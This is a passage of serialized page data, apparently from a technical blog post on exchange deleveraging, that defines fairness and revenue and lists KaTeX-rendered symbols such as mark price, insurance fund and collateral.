out?",{"type":22,"tag":68,"props":162459,"children":162460},{},[162461,162466],{"type":22,"tag":4764,"props":162462,"children":162463},{},[162464],{"type":28,"value":162465},"Fairness",{"type":28,"value":162467},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":22,"tag":68,"props":162469,"children":162470},{},[162471,162476],{"type":22,"tag":4764,"props":162472,"children":162473},{},[162474],{"type":28,"value":162475},"Revenue",{"type":28,"value":162477},": the fraction of total winner PNL that survives after deleveraging.",{"type":22,"tag":31,"props":162479,"children":162480},{},[162481],{"type":28,"value":162482},"Let's borrow these definitions from the paper:",{"type":22,"tag":107,"props":162484,"children":162485},{},[162486],{"type":22,"tag":114,"props":162487,"children":162489},{"className":162488},[5995,160670],[162490],{"type":22,"tag":118,"props":162491,"children":162493},{"className":162492},[160675],[162494],{"type":22,"tag":118,"props":162495,"children":162497},{"className":162496},[6001],[162498],{"type":22,"tag":118,"props":162499,"children":162501},{"className":162500,"ariaHidden":6007},[6006],[162502],{"type":22,"tag":118,"props":162503,"children":162505},{"className":162504},[6012],[162506,162511],{"type":22,"tag":118,"props":162507,"children":162510},{"className":162508,"style":162509},[6017],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":22,"tag":118,"props":162512,"children":162514},{"className":162513},[6023],[162515],{"type":22,"tag":118,"props":162516,"children":162518},{"className":162517},[161372],[162519,163338],{"type":22,"tag":118,"props":162520,"children":162522},{"className":162521},[161377],[162523],{"type":22,"tag":118,"props":162524,"children":162526},{"className":162525},[6045,23596],[162527,163326],{"type":22,"tag":118,"props":162528,"children":162530},{"className":162529},[6050],[162531,163321],{"type":22,"tag":118,"props":162532,"children":162535},{"className":162533,"style":162534},[6055],"height:11.8392em;",[162536,162607,162624,162693,162763,162832,162902,162971,163040,163109,163179,163250],{"type":22,"tag":118,"props":162537,"children":162539},{"style":162538},"top:-14.3707em;",[162540,162545],{"type":22,"tag":118,"props":162541,"children":162544},{"className":162542,"style":162543},[6064],"height:3.3714em;",[],{"type":22,"tag":118,"props":162546,"children":162548},{"className":162547},[6023],[162549],{"type":22,"tag":118,"props":162550,"children":162552},{"className":162551},[6023],[162553,162558],{"type":22,"tag":118,"props":162554,"children":162556},{"className":162555,"style":23543},[6023,23542],[162557],{"type":28,"value":23546},{"type":22,"tag":118,"props":162559,"children":162561},{"className":162560},[6040],[162562],{"type":22,"tag":118,"props":162563,"children":162565},{"className":162564},[6045,23596],[162566,162596],{"type":22,"tag":118,"props":162567,"children":162569},{"className":162568},[6050],[162570,162591],{"type":22,"tag":118,"props":162571,"children":162573},{"className":162572,"style":111075},[6055],[162574],{"type":22,"tag":118,"props":162575,"children":162577},{"style":162576},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162578,162582],{"type":22,"tag":118,"props":162579,"children":162581},{"className":162580,"style":6065},[6064],[],{"type":22,"tag":118,"props":162583,"children":162585},{"className":162584},[6070,6071,6072,6073],[162586],{"type":22,"tag":118,"props":162587,"children":162589},{"className":162588},[6023,23542,6073],[162590],{"type":28,"value":58344},{"type":22,"tag":118,"props":162592,"children":162594},{"className":162593},[23699],[162595],{"type":28,"value":23702},{"type":22,"tag":118,"props":162597,"children":162599},{"className":162598},[6050],[162600],{"type":22,"tag":118,"props":162601,"children":162603},{"className":162602,"style":94726},[6055],[162604],{"type":22,"tag":118,"props":162605,"children":162606},{},[],{"type":22,"tag":118,"props":162608,"children":162610},{"style":162609},"top:-12.8707em;",[162611,162615],{"type":22,"tag":118,"props":162612,"children":162614},{"className":162613,"style":162543},[6064],[],{"type":22,"tag":118,"props":162616,"children":162618},{"className":162617},[6023],[162619],{"type":22,"tag":118,"props":162620,"children":162622},{"className":162621,"style":96663},[6023,23542],[162623],{"type":28,"value":96697},{"type":22,"tag":118,"props":162625,"children":162627},{"style":162626},"top:-10.8392em;",[162628,162632],{"type":22,"tag":118,"props":162629,"children":162631},{"className":162630,"style":162543},[6064],[],{"type":22,"tag":118,"props":162633,"children":162635},{"className":162634},[6023],[162636],{"type":22,"tag":118,"props":162637,"children":162639},{"className":162638},[6023],[162640,162645],{"type":22,"tag":118,"props":162641,"children":162643},{"className":162642},[6023,23542],[162644],{"type":28,"value":5169},{"type":22,"tag":118,"props":162646,"children":162648},{"className":162647},[6040],[162649],{"type":22,"tag":118,"props":162650,"children":162652},{"className":162651},[6045,23596],[162653,162682],{"type":22,"tag":118,"props":162654,"children":162656},{"className":162655},[6050],[162657,162677],{"type":22,"tag":118,"props":162658,"children":162660},{"className":162659,"style":95172},[6055],[162661],{"type":22,"tag":118,"props":162662,"children":162663},{"style":94699},[162664,162668],{"type":22,"tag":118,"props":162665,"children":162667},{"className":162666,"style":6065},[6064],[],{"type":22,"tag":118,"props":162669,"children":162671},{"className":162670},[6070,6071,6072,6073],[162672],{"type":22,"tag":118,"props":162673,"children":162675},{"className":162674},[6023,23542,6073],[162676],{"type":28,"value":3613},{"type":22,"tag":118,"props":162678,"children":162680},{"className":162679},[23699],[162681],{"type":28,"value":23702},{"type":22,"tag":118,"props":162683,"children":162685},{"className":162684},[6050],[162686],{"type":22,"tag":118,"props":162687,"children":162689},{"className":162688,"style":94726},[6055],[162690],{"type":22,"tag":118,"props":162691,"children":162692},{},[],{"type":22,"tag":118,"props":162694,"children":162696},{"style":162695},"top:-8.8188em;",[162697,162701],{"type":22,"tag":118,"props":162698,"children":162700},{"className":162699,"style":162543},[6064],[],{"type":22,"tag":118,"props":162702,"children":162704},{"className":162703},[6023],[162705],{"type":22,"tag":118,"props":162706,"children":162708},{"className":162707},[6023],[162709,162715],{"type":22,"tag":118,"props":162710,"children":162712},{"className":162711,"style":95129},[6023,23542],[162713],{"type":28,"value":162714},"π",{"type":22,"tag":118,"props":162716,"children":162718},{"className":162717},[6040],[162719],{"type":22,"tag":118,"props":162720,"children":162722},{"className":162721},[6045,23596],[162723,162752],{"type":22,"tag":118,"props":162724,"children":162726},{"className":162725},[6050],[162727,162747],{"type":22,"tag":118,"props":162728,"children":162730},{"className":162729,"style":95172},[6055],[162731],{"type":22,"tag":118,"props":162732,"children":162733},{"style":95176},[162734,162738],{"type":22,"tag":118,"props":162735,"children":162737},{"className":162736,"style":6065},[6064],[],{"type":22,"tag":118,"props":162739,"children":162741},{"className":162740},[6070,6071,6072,6073],[162742],{"type":22,"tag":118,"props":162743,"children":162745},{"className":162744},[6023,23542,6073],[162746],{"type":28,"value":3613},{"type":22,"tag":118,"props":162748,"children":162750},{"className":162749},[23699],[162751],{"type":28,"value":23702},{"type":22,"tag":118,"props":162753,"children":162755},{"className":162754},[6050],[162756],{"type":22,"tag":118,"props":162757,"children":162759},{"className":162758,"style":94726},[6055],[162760],{"type":22,"tag":118,"props":162761,"children":162762},{},[],{"type":22,"tag":118,"props":162764,"children":162766},{"style":162765},"top:-7.3188em;",[162767,162771],{"type":22,"tag":118,"props":162768,"children":162770},{"className":162769,"style":162543},[6064],[],{"type":22,"tag":118,"props":162772,"children":162774},{"className":162773},[6023],[162775],{"type":22,"tag":118,"props":162776,"children":162778},{"className":162777},[6023],[162779,162784],{"type":22,"tag":118,"props":162780,"children":162782},{"className":162781},[6023,23542],[162783],{"type":28,"value":53395},{"type":22,"tag":118,"props":162785,"children":162787},{"className":162786},[6040],[162788],{"type":22,"tag":118,"props":162789,"children":162791},{"className":162790},[6045,23596],[162792,162821],{"type":22,"tag":118,"props":162793,"children":162795},{"className":162794},[6050],[162796,162816],{"type":22,"tag":118,"props":162797,"children":162799},{"className":162798,"style":95172},[6055],[162800],{"type":22,"tag":118,"props":162801,"children":162802},{"style":94699},[162803,162807],{"type":22,"tag":118,"props":162804,"children":162806},{"className":162805,"style":6065},[6064],[],{"type":22,"tag":118,"props":162808,"children":162810},{"className":162809},[6070,6071,6072,6073],[162811],{"type":22,"tag":118,"props":162812,"children":162814},{"className":162813},[6023,23542,6073],[162815],{"type":28,"value":3613},{"type":22,"tag":118,"props":162817,"children":162819},{"className":162818},[23699],[162820],{"type":28,"value":23702},{"type":22,"tag":118,"props":162822,"children":162824},{"className":162823},[6050],[162825],{"type":22,"tag":118,"props":162826,"children":162828},{"className":162827,"style":94726},[6055],[162829],{"type":22,"tag":118,"props":162830,"children":162831},{},[],{"type":22,"tag":118,"props":162833,"children":162835},{"style":162834},"top:-5.8188em;",[162836,162840],{"type":22,"tag":118,"props":162837,"children":162839},{"className":162838,"style":162543},[6064],[],{"type":22,"tag":118,"props":162841,"children":162843},{"className":162842},[6023],[162844],{"type":22,"tag":118,"props":162845,"children":162847},{"className":162846},[6023],[162848,162853],{"type":22,"tag":118,"props":162849,"children":162851},{"className":162850,"style":123923},[6023,23542],[162852],{"type":28,"value":51512},{"type":22,"tag":118,"props":162854,"children":162856},{"className":162855},[6040],[162857],{"type":22,"tag":118,"props":162858,"children":162860},{"className":162859},[6045,23596],[162861,162891],{"type":22,"tag":118,"props":162862,"children":162864},{"className":162863},[6050],[162865,162886],{"type":22,"tag":118,"props":162866,"children":162868},{"className":162867,"style":95172},[6055],[162869],{"type":22,"tag":118,"props":162870,"children":162872},{"style":162871},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[162873,162877],{"type":22,"tag":118,"props":162874,"children":162876},{"className":162875,"style":6065},[6064],[],{"type":22,"tag":118,"props":162878,"children":162880},{"className":162879},[6070,6071,6072,6073],[162881],{"type":22,"tag":118,"props":162882,"children":162884},{"className":162883},[6023,23542,6073],[162885],{"type":28,"value":3613},{"type":22,"tag":118,"props":162887,"children":162889},{"className":162888},[23699],[162890],{"type":28,"value":23702},{"type":22,"tag":118,"props":162892,"children":162894},{"className":162893},[6050],[162895],{"type":22,"tag":118,"props":162896,"children":162898},{"className":162897,"style":94726},[6055],[162899],{"type":22,"tag":118,"props":162900,"children":162901},{},[],{"type":22,"tag":118,"props":162903,"children":162905},{"style":162904},"top:-4.3188em;",[162906,162910],{"type":22,"tag":118,"props":162907,"children":162909},{"className":162908,"style":162543},[6064],[],{"type":22,"tag":118,"props":162911,"children":162913},{"className":162912},[6023],[162914],{"type":22,"tag":118,"props":162915,"children":162917},{"className":162916},[6023],[162918,162923],{"type":22,"tag":118,"props":162919,"children":162921},{"className":162920},[6023,23542],[162922],{"type":28,"value":21243},{"type":22,"tag":118,"props":162924,"children":162926},{"className":162925},[6040],[162927],{"type":22,"tag":118,"props":162928,"children":162930},{"className":162929},[6045,23596],[162931,162960],{"type":22,"tag":118,"props":162932,"children":162934},{"className":162933},[6050],[162935,162955],{"type":22,"tag":118,"props":162936,"children":162938},{"className":162937,"style":95172},[6055],[162939],{"type":22,"tag":118,"props":162940,"children":162941},{"style":94699},[162942,162946],{"type":22,"tag":118,"props":162943,"children":162945},{"className":162944,"style":6065},[6064],[],{"type":22,"tag":118,"props":162947,"children":162949},{"className":162948},[6070,6071,6072,6073],[162950],{"type":22,"tag":118,"props":162951,"children":162953},{"className":162952},[6023,23542,6073],[162954],{"type":28,"value":3613},{"type":22,"tag":118,"props":162956,"children":162958},{"className":162957},[23699],[162959],{"type":28,"value":23702},{"type":22,"tag":118,"props":162961,"children":162963},{"className":162962},[6050],[162964],{"type":22,"tag":118,"props":162965,"children":162967},{"className":162966,"style":94726},[6055],[162968],{"type":22,"tag":118,"props":162969,"children":162970},{},[],{"type":22,"tag":118,"props":162972,"children":162974},{"style":162973},"top:-2.5512em;",[162975,162979],{"type":22,"tag":118,"props":162976,"children":162978},{"className":162977,"style":162543},[6064],[],{"type":22,"tag":118,"props":162980,"children":162982},{"className":162981},[6023],[162983],{"type":22,"tag":118,"props":162984,"children":162986},{"className":162985},[6023],[162987,162992],{"type":22,"tag":118,"props":162988,"children":162990},{"className":162989},[6023,23542],[162991],{"type":28,"value":85941},{"type":22,"tag":118,"props":162993,"children":162995},{"className":162994},[6040],[162996],{"type":22,"tag":118,"props":162997,"children":162999},{"className":162998},[6045,23596],[163000,163029],{"type":22,"tag":118,"props":163001,"children":163003},{"className":163002},[6050],[163004,163024],{"type":22,"tag":118,"props":163005,"children":163007},{"className":163006,"style":95172},[6055],[163008],{"type":22,"tag":118,"props":163009,"children":163010},{"style":94699},[163011,163015],{"type":22,"tag":118,"props":163012,"children":163014},{"className":163013,"style":6065},[6064],[],{"type":22,"tag":118,"props":163016,"children":163018},{"className":163017},[6070,6071,6072,6073],[163019],{"type":22,"tag":118,"props":163020,"children":163022},{"className":163021},[6023,23542,6073],[163023],{"type":28,"value":3613},{"type":22,"tag":118,"props":163025,"children":163027},{"className":163026},[23699],[163028],{"type":28,"value":23702},{"type":22,"tag":118,"props":163030,"children":163032},{"className":163031},[6050],[163033],{"type":22,"tag":118,"props":163034,"children":163036},{"className":163035,"style":94726},[6055],[163037],{"type":22,"tag":118,"props":163038,"children":163039},{},[],{"type":22,"tag":118,"props":163041,"children":163043},{"style":163042},"top:-0.3652em;",[163044,163048],{"type":22,"tag":118,"props":163045,"children":163047},{"className":163046,"style":162543},[6064],[],{"type":22,"tag":118,"props":163049,"children":163051},{"className":163050},[6023],[163052],{"type":22,"tag":118,"props":163053,"children":163055},{"className":163054},[6023],[163056,163061],{"type":22,"tag":118,"props":163057,"children":163059},{"className":163058,"style":94877},[6023,23542],[163060],{"type":28,"value":94880},{"type":22,"tag":118,"props":163062,"children":163064},{"className":163063},[6040],[163065],{"type":22,"tag":118,"props":163066,"children":163068},{"className":163067},[6045,23596],[163069,163098],{"type":22,"tag":118,"props":163070,"children":163072},{"className":163071},[6050],[163073,163093],{"type":22,"tag":118,"props":163074,"children":163076},{"className":163075,"style":144198},[6055],[163077],{"type":22,"tag":118,"props":163078,"children":163079},{"style":112072},[163080,163084],{"type":22,"tag":118,"props":163081,"children":163083},{"className":163082,"style":6065},[6064],[],{"type":22,"tag":118,"props":163085,"children":163087},{"className":163086},[6070,6071,6072,6073],[163088],{"type":22,"tag":118,"props":163089,"children":163091},{"className":163090,"style":23543},[6023,23542,6073],[163092],{"type":28,"value":7997},{"type":22,"tag":118,"props":163094,"children":163096},{"className":163095},[23699],[163097],{"type":28,"value":23702},{"type":22,"tag":118,"props":163099,"children":163101},{"className":163100},[6050],[163102],{"type":22,"tag":118,"props":163103,"children":163105},{"className":163104,"style":94726},[6055],[163106],{"type":22,"tag":118,"props":163107,"children":163108},{},[],{"type":22,"tag":118,"props":163110,"children":163112},{"style":163111},"top:2.2624em;",[163113,163117],{"type":22,"tag":118,"props":163114,"children":163116},{"className":163115,"style":162543},[6064],[],{"type":22,"tag":118,"props":163118,"children":163120},{"className":163119},[6023],[163121],{"type":22,"tag":118,"props":163122,"children":163124},{"className":163123},[6023],[163125,163131],{"type":22,"tag":118,"props":163126,"children":163128},{"className":163127,"style":94643},[6023,23542],[163129],{"type":28,"value":163130},"D",{"type":22,"tag":118,"props":163132,"children":163134},{"className":163133},[6040],[163135],{"type":22,"tag":118,"props":163136,"children":163138},{"className":163137},[6045,23596],[163139,163168],{"type":22,"tag":118,"props":163140,"children":163142},{"className":163141},[6050],[163143,163163],{"type":22,"tag":118,"props":163144,"children":163146},{"className":163145,"style":144198},[6055],[163147],{"type":22,"tag":118,"props":163148,"children":163149},{"style":111642},[163150,163154],{"type":22,"tag":118,"props":163151,"children":163153},{"className":163152,"style":6065},[6064],[],{"type":22,"tag":118,"props":163155,"children":163157},{"className":163156},[6070,6071,6072,6073],[163158],{"type":22,"tag":118,"props":163159,"children":163161},{"className":163160,"style":23543},[6023,23542,6073],[163162],{"type":28,"value":7997},{"type":22,"tag":118,"props":163164,"children":163166},{"className":163165},[23699],[163167],{"type":28,"value":23702},{"type":22,"tag":118,"props":163169,"children":163171},{"className":163170},[6050],[163172],{"type":22,"tag":118,"props":163173,"children":163175},{"className":163174,"style":94726},[6055],[163176],{"type":22,"tag":118,"props":163177,"children":163178},{},[],{"type":22,"tag":118,"props":163180,"children":163182},{"style":163181},"top:4.8901em;",[163183,163187],{"type":22,"tag":118,"props":163184,"children":163186},{"className":163185,"style":162543},[6064],[],{"type":22,"tag":118,"props":163188,"children":163190},{"className":163189},[6023],[163191],{"type":22,"tag":118,"props":163192,"children":163194},{"className":163193},[6023],[163195,163201],{"type":22,"tag":118,"props":163196,"children":163198},{"className":163197,"style":96651},[6023,23542],[163199],{"type":28,"value":163200},"U",{"type":22,"tag":118,"props":163202,"children":163204},{"className":163203},[6040],[163205],{"type":22,"tag":118,"props":163206,"children":163208},{"className":163207},[6045,23596],[163209,163239],{"type":22,"tag":118,"props":163210,"children":163212},{"className":163211},[6050],[163213,163234],{"type":22,"tag":118,"props":163214,"children":163216},{"className":163215,"style":144198},[6055],[163217],{"type":22,"tag":118,"props":163218,"children":163220},{"style":163219},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[163221,163225],{"type":22,"tag":118,"props":163222,"children":163224},{"className":163223,"style":6065},[6064],[],{"type":22,"tag":118,"props":163226,"children":163228},{"className":163227},[6070,6071,6072,6073],[163229],{"type":22,"tag":118,"props":163230,"children":163232},{"className":163231,"style":23543},[6023,23542,6073],[163233],{"type":28,"value":7997},{"type":22,"tag":118,"props":163235,"children":163237},{"className":163236},[23699],[163238],{"type":28,"value":23702},{"type":22,"tag":118,"props":163240,"children":163242},{"className":163241},[6050],[163243],{"type":22,"tag":118,"props":163244,"children":163246},{"className":163245,"style":94726},[6055],[163247],{"type":22,"tag":118,"props":163248,"children":163249},{},[],{"type":22,"tag":118,"props":163251,"children":163253},{"style":163252},"top:7.3078em;",[163254,163258],{"type":22,"tag":118,"props":163255,"children":163257},{"className":163256,"style":162543},[6064],[],{"type":22,"tag":118,"props":163259,"children":163261},{"className":163260},[6023],[163262],{"type":22,"tag":118,"props":163263,"children":163265},{"className":163264},[6023],[163266,163271],{"type":22,"tag":118,"props":163267,"children":163269},{"className":163268,"style":124420},[6023,23542],[163270],{"type":28,"value":124423},{"type":22,"tag":118,"props":163272,"children":163274},{"className":163273},[6040],[163275],{"type":22,"tag":118,"props":163276,"children":163278},{"className":163277},[6045,23596],[163279,163310],{"type":22,"tag":118,"props":163280,"children":163282},{"className":163281},[6050],[163283,163305],{"type":22,"tag":118,"props":163284,"children":163287},{"className":163285,"style":163286},[6055],"height:0.2806em;",[163288],{"type":22,"tag":118,"props":163289,"children":163291},{"style":163290},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[163292,163296],{"type":22,"tag":118,"props":163293,"children":163295},{"className":163294,"style":6065},[6064],[],{"type":22,"tag":118,"props":163297,"children":163299},{"className":163298},[6070,6071,6072,6073],[163300],{"type":22,"tag":118,"props":163301,"children":163303},{"className":163302},[6023,23542,6073],[163304],{"type":28,"value":23684},{"type":22,"tag":118,"props":163306,"children":163308},{"className":163307},[23699],[163309],{"type":28,"value":23702},{"type":22,"tag":118,"props":163311,"children":163313},{"className":163312},[6050],[163314],{"type":22,"tag":118,"props":163315,"children":163317},{"className":163316,"style":94726},[6055],[163318],{"type":22,"tag":118,"props":163319,"children":163320},{},[],{"type":22,"tag":118,"props":163322,"children":163324},{"className":163323},[23699],[163325],{"type":28,"value":23702},{"type":22,"tag":118,"props":163327,"children":163329},{"className":163328},[6050],[163330],{"type":22,"tag":118,"props":163331,"children":163334},{"className":163332,"style":163333},[6055],"height:11.3392em;",[163335],{"type":22,"tag":118,"props":163336,"children":163337},{},[],{"type":22,"tag":118,"props":163339,"children":163341},{"className":163340},[161457],[163342],{"type":22,"tag":118,"props":163343,"children":163345},{"className":163344},[6045,23596],[163346,165048],{"type":22,"tag":118,"props":163347,"children":163349},{"className":163348},[6050],[163350,165043],{"type":22,"tag":118,"props":163351,"children":163353},{"className":163352,"style":162534},[6055],[163354,163392,163430,163577,163812,163967,164072,164115,164336,164495,164685,164837],{"type":22,"tag":118,"props":163355,"children":163356},{"style":162538},[163357,163361],{"type":22,"tag":118,"props":163358,"children":163360},{"className":163359,"style":162543},[6064],[],{"type":22,"tag":118,"props":163362,"children":163364},{"className":163363},[6023],[163365,163369,163373,163378,163382],{"type":22,"tag":118,"props":163366,"children":163368},{"className":163367},[6023],[],{"type":22,"tag":118,"props":163370,"children":163372},{"className":163371,"style":6202},[6104],[],{"type":22,"tag":118,"props":163374,"children":163376},{"className":163375},[6207],[163377],{"type":28,"value":23561},{"type":22,"tag":118,"props":163379,"children":163381},{"className":163380,"style":6202},[6104],[],{"type":22,"tag":118,"props":163383,"children":163385},{"className":163384},[6023,28],[163386],{"type":22,"tag":118,"props":163387,"children":163389},{"className":163388},[6023],[163390],{"type":28,"value":163391},"mark price",{"type":22,"tag":118,"props":163393,"children":163394},{"style":162609},[163395,163399],{"type":22,"tag":118,"props":163396,"children":163398},{"className":163397,"style":162543},[6064],[],{"type":22,"tag":118,"props":163400,"children":163402},{"className":163401},[6023],[163403,163407,163411,163416,163420],{"type":22,"tag":118,"props":163404,"children":163406},{"className":163405},[6023],[],{"type":22,"tag":118,"props":163408,"children":163410},{"className":163409,"style":6202},[6104],[],{"type":22,"tag":118,"props":163412,"children":163414},{"className":163413},[6207],[163415],{"type":28,"value":23561},{"type":22,"tag":118,"props":163417,"children":163419},{"className":163418,"style":6202},[6104],[],{"type":22,"tag":118,"props":163421,"children":163423},{"className":163422},[6023,28],[163424],{"type":22,"tag":118,"props":163425,"children":163427},{"className":163426},[6023],[163428],{"type":28,"value":163429},"insurance fund",{"type":22,"tag":118,"props":163431,"children":163432},{"style":162626},[163433,163437],{"type":22,"tag":118,"props":163434,"children":163436},{"className":163435,"style":162543},[6064],[],{"type":22,"tag":118,"props":163438,"children":163440},{"className":163439},[6023],[163441,163445,163449,163454,163458,163468,163472,163477,163481],{"type":22,"tag":118,"props":163442,"children":163444},{"className":163443},[6023],[],{"type":22,"tag":118,"props":163446,"children":163448},{"className":163447,"style":6202},[6104],[],{"type":22,"tag":118,"props":163450,"children":163452},{"className":163451},[6207],[163453],{"type":28,"value":23561},{"type":22,"tag":118,"props":163455,"children":163457},{"className":163456,"style":6202},[6104],[],{"type":22,"tag":118,"props":163459,"children":163461},{"className":163460},[6023,28],[163462],{"type":22,"tag":118,"props":163463,"children":163465},{"className":163464},[6023],[163466],{"type":28,"value":163467},"collateral",{"type":22,"tag":118,"props":163469,"children":163471},{"className":163470,"style":6202},[6104],[],{"type":22,"tag":118,"props":163473,"children":163475},{"className":163474},[6207],[163476],{"type":28,"value":282},{"type":22,"tag":118,"props":163478,"children":163480},{"className":163479,"style":6202},[6104],[],{"type":22,"tag":118,"props":163482,"children":163484},{"className":163483},[6023],[163485,163489,163573],{"type":22,"tag":118,"props":163486,"children":163488},{"className":163487},[23671,115161],[],{"type":22,"tag":118,"props":163490,"children":163492},{"className":163491},[115166],[163493],{"type":22,"tag":118,"props":163494,"children":163496},{"className":163495},[6045,23596],[163497,163562],{"type":22,"tag":118,"props":163498,"children":163500},{"className":163499},[6050],[163501,163557],{"type":22,"tag":118,"props":163502,"children":163505},{"className":163503,"style":163504},[6055],"height:1.3714em;",[163506,163526,163537],{"type":22,"tag":118,"props":163507,"children":163508},{"style":160752},[163509,163513],{"type":22,"tag":118,"props":163510,"children":163512},{"className":163511,"style":113814},[6064],[],{"type":22,"tag":118,"props":163514,"children":163516},{"className":163515},[6023],[163517],{"type":22,"tag":118,"props":163518,"children":163520},{"className":163519},[6023,28],[163521],{"type":22,"tag":118,"props":163522,"children":163524},{"className":163523},[6023],[163525],{"type":28,"value":160789},{"type":22,"tag":118,"props":163527,"children":163528},{"style":115216},[163529,163533],{"type":22,"tag":118,"props":163530,"children":163532},{"className":163531,"style":113814},[6064],[],{"type":22,"tag":118,"props":163534,"children":163536},{"className":163535,"style":115226},[115225],[],{"type":22,"tag":118,"props":163538,"children":163539},{"style":160803},[163540,163544],{"type":22,"tag":118,"props":163541,"children":163543},{"className":163542,"style":113814},[6064],[],{"type":22,"tag":118,"props":163545,"children":163547},{"className":163546},[6023],[163548],{"type":22,"tag":118,"props":163549,"children":163551},{"className":163550},[6023,28],[163552],{"type":22,"tag":118,"props":163553,"children":163555},{"className":163554},[6023],[163556],{"type":28,"value":160828},{"type":22,"tag":118,"props":163558,"children":163560},{"className":163559},[23699],[163561],{"type":28,"value":23702},{"type":22,"tag":118,"props":163563,"children":163565},{"className":163564},[6050],[163566],{"type":22,"tag":118,"props":163567,"children":163569},{"className":163568,"style":160846},[6055],[163570],{"type":22,"tag":118,"props":163571,"children":163572},{},[],{"type":22,"tag":118,"props":163574,"children":163576},{"className":163575},[23693,115161],[],{"type":22,"tag":118,"props":163578,"children":163579},{"style":162695},[163580,163584],{"type":22,"tag":118,"props":163581,"children":163583},{"className":163582,"style":162543},[6064],[],{"type":22,"tag":118,"props":163585,"children":163587},{"className":163586},[6023],[163588,163592,163596,163601,163605,163662,163666,163671,163675,163680,163737,163741,163746,163750,163807],{"type":22,"tag":118,"props":163589,"children":163591},{"className":163590},[6023],[],{"type":22,"tag":118,"props":163593,"children":163595},{"className":163594,"style":6202},[6104],[],{"type":22,"tag":118,"props":163597,"children":163599},{"className":163598},[6207],[163600],{"type":28,"value":282},{"type":22,"tag":118,"props":163602,"children":163604},{"className":163603,"style":6202},[6104],[],{"type":22,"tag":118,"props":163606,"children":163608},{"className":163607},[6023],[163609,163614],{"type":22,"tag":118,"props":163610,"children":163612},{"className":163611},[6023,23542],[163613],{"type":28,"value":12650},{"type":22,"tag":118,"props":163615,"children":163617},{"className":163616},[6040],[163618],{"type":22,"tag":118,"props":163619,"children":163621},{"className":163620},[6045,23596],[163622,163651],{"type":22,"tag":118,"props":163623,"children":163625},{"className":163624},[6050],[163626,163646],{"type":22,"tag":118,"props":163627,"children":163629},{"className":163628,"style":95172},[6055],[163630],{"type":22,"tag":118,"props":163631,"children":163632},{"style":94699},[163633,163637],{"type":22,"tag":118,"props":163634,"children":163636},{"className":163635,"style":6065},[6064],[],{"type":22,"tag":118,"props":163638,"children":163640},{"className":163639},[6070,6071,6072,6073],[163641],{"type":22,"tag":118,"props":163642,"children":163644},{"className":163643},[6023,23542,6073],[163645],{"type":28,"value":3613},{"type":22,"tag":118,"props":163647,"children":163649},{"className":163648},[23699],[163650],{"type":28,"value":23702},{"type":22,"tag":118,"props":163652,"children":163654},{"className":163653},[6050],[163655],{"type":22,"tag":118,"props":163656,"children":163658},{"className":163657,"style":94726},[6055],[163659],{"type":22,"tag":118,"props":163660,"children":163661},{},[],{"type":22,"tag":118,"props":163663,"children":163665},{"className":163664,"style":6105},[6104],[],{"type":22,"tag":118,"props":163667,"children":163669},{"className":163668},[6110],[163670],{"type":28,"value":112905},{"type":22,"tag":118,"props":163672,"children":163674},{"className":163673,"style":6105},[6104],[],{"type":22,"tag":118,"props":163676,"children":163678},{"className":163677},[23671],[163679],{"type":28,"value":540},{"type":22,"tag":118,"props":163681,"children":163683},{"className":163682},[6023],[163684,163689],{"type":22,"tag":118,"props":163685,"children":163687},{"className":163686,"style":23543},[6023,23542],[163688],{"type":28,"value":23546},{"type":22,"tag":118,"props":163690,"children":163692},{"className":163691},[6040],[163693],{"type":22,"tag":118,"props":163694,"children":163696},{"className":163695},[6045,23596],[163697,163726],{"type":22,"tag":118,"props":163698,"children":163700},{"className":163699},[6050],[163701,163721],{"type":22,"tag":118,"props":163702,"children":163704},{"className":163703,"style":111075},[6055],[163705],{"type":22,"tag":118,"props":163706,"children":163707},{"style":162576},[163708,163712],{"type":22,"tag":118,"props":163709,"children":163711},{"className":163710,"style":6065},[6064],[],{"type":22,"tag":118,"props":163713,"children":163715},{"className":163714},[6070,6071,6072,6073],[163716],{"type":22,"tag":118,"props":163717,"children":163719},{"className":163718},[6023,23542,6073],[163720],{"type":28,"value":58344},{"type":22,"tag":118,"props":163722,"children":163724},{"className":163723},[23699],[163725],{"type":28,"value":23702},{"type":22,"tag":118,"props":163727,"children":163729},{"className":163728},[6050],[163730],{"type":22,"tag":118,"props":163731,"children":163733},{"className":163732,"style":94726},[6055],[163734],{"type":22,"tag":118,"props":163735,"children":163736},{},[],{"type":22,"tag":118,"props":163738,"children":163740},{"className":163739,"style":6105},[6104],[],{"type":22,"tag":118,"props":163742,"children":163744},{"className":163743},[6110],[163745],{"type":28,"value":6084},{"type":22,"tag":118,"props":163747,"children":163749},{"className":163748,"style":6105},[6104],[],{"type":22,"tag":118,"props":163751,"children":163753},{"className":163752},[6023],[163754,163759],{"type":22,"tag":118,"props":163755,"children":163757},{"className":163756},[6023,23542],[163758],{"type":28,"value":31},{"type":22,"tag":118,"props":163760,"children":163762},{"className":163761},[6040],[163763],{"type":22,"tag":118,"props":163764,"children":163766},{"className":163765},[6045,23596],[163767,163796],{"type":22,"tag":118,"props":163768,"children":163770},{"className":163769},[6050],[163771,163791],{"type":22,"tag":118,"props":163772,"children":163774},{"className":163773,"style":95172},[6055],[163775],{"type":22,"tag":118,"props":163776,"children":163777},{"style":94699},[163778,163782],{"type":22,"tag":118,"props":163779,"children":163781},{"className":163780,"style":6065},[6064],[],{"type":22,"tag":118,"props":163783,"children":163785},{"className":163784},[6070,6071,6072,6073],[163786],{"type":22,"tag":118,"props":163787,"children":163789},{"className":163788},[6023,23542,6073],[163790],{"type":28,"value":3613},{"type":22,"tag":118,"props":163792,"children":163794},{"className":163793},[23699],[163795],{"type":28,"value":23702},{"type":22,"tag":118,"props":163797,"children":163799},{"className":163798},[6050],[163800],{"type":22,"tag":118,"props":163801,"children":163803},{"className":163802,"style":94726},[6055],[163804],{"type":22,"tag":118,"props":163805,"children":163806},{},[],{"type":22,"tag":118,"props":163808,"children":163810},{"className":163809},[23693],[163811],{"type":28,"value":3627},{"type":22,"tag":118,"props":163813,"children":163814},{"style":162765},[163815,163819],{"type":22,"tag":118,"props":163816,"children":163818},{"className":163817,"style":162543},[6064],[],{"type":22,"tag":118,"props":163820,"children":163822},{"className":163821},[6023],[163823,163827,163831,163836,163840,163897,163901,163906,163910],{"type":22,"tag":118,